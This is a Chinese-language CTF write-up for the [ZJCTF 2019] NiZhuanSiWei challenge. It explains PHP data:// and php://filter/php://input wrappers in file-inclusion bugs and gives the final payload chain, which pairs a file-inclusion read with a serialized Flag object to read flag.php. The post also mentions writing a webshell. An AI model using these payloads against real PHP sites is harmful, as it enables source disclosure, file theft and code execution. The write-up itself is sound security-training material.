做[ZJCTF 2019]NiZhuanSiWei的一些心得:

题目源码:

36756-n3xx8e0akqn.png

(https://oss.iydui.com/blog/2020/11/02/14205-shqbl8dqrv8.png)
我以为有一个文件是含有welcome to the zjctf 内容的文件,结果还是太年轻。
现在来拓展一下知识:
以下函数,以路径为传参的函数,都可以使用data和php伪协议:
include函数
require函数
include_once和require_once函数
highlight_file函数
show_source函数
file_get_contents函数
file函数
fopen函数
readfile函数

其中:include函数
require函数
include_once和require_once函数
这三个可以当做php文件执行,当然包含远程的文件需要allow_url_open , 这也是支持php伪协议写入木马的重要条件,这一条件默认情况下是关闭的。

因此,可以试一下写马操作,不行就拉倒

其次了解php,data伪协议:
data://(会暂时保存在一个虚拟的内存内,提供给相应的函数去找到该路径去读取相关内容)
php://input:
可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行
如果存在文件包含漏洞,可将php://input作为文件名传入,同时在post中注入设置想要注入的代码,php执行时就会将post的内容作为php代码执行
php://filter可以获取指定文件源码。php://filter流会被当作php文件行。所以我们一般对其进行编码,让其不执行。从而导致任意文件读取。

以上协议,只要是使用include,require,include_once和require_once函数,要当成php执行,必须开启allow_url_include=on。但是php不开启allow_url_include=on,他们也都能正常地被file_get_contents函数,file函数,readfile函数执行,并获得里面的内容,不能够当成php执行,可以读取敏感信息。
所以绕过这个

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";

参数为:?text=data://text/plain,welcome%20to%20the%20zjctf
接下来:

if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php

限制死了不能输入flag,提示有useless.php 所以看一下useless.php源码:

file=php://filter/convert.base64-encode/resource=useless.php

或者:

file=php://filter/read=convert.base64-encode/resource=useless.php

51404-fyqui4co4u.png

合成反序列化的字符串:
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
payload为:

password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最终的payload为:

?text=data://text/plain,welcome%20to%20the%20zjctf&file= useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

60991-0i0c4wjfm90q.png

结束

最后修改:2020 年 11 月 02 日 07 : 17 AM
如果觉得我的文章对你有用,请随意赞赏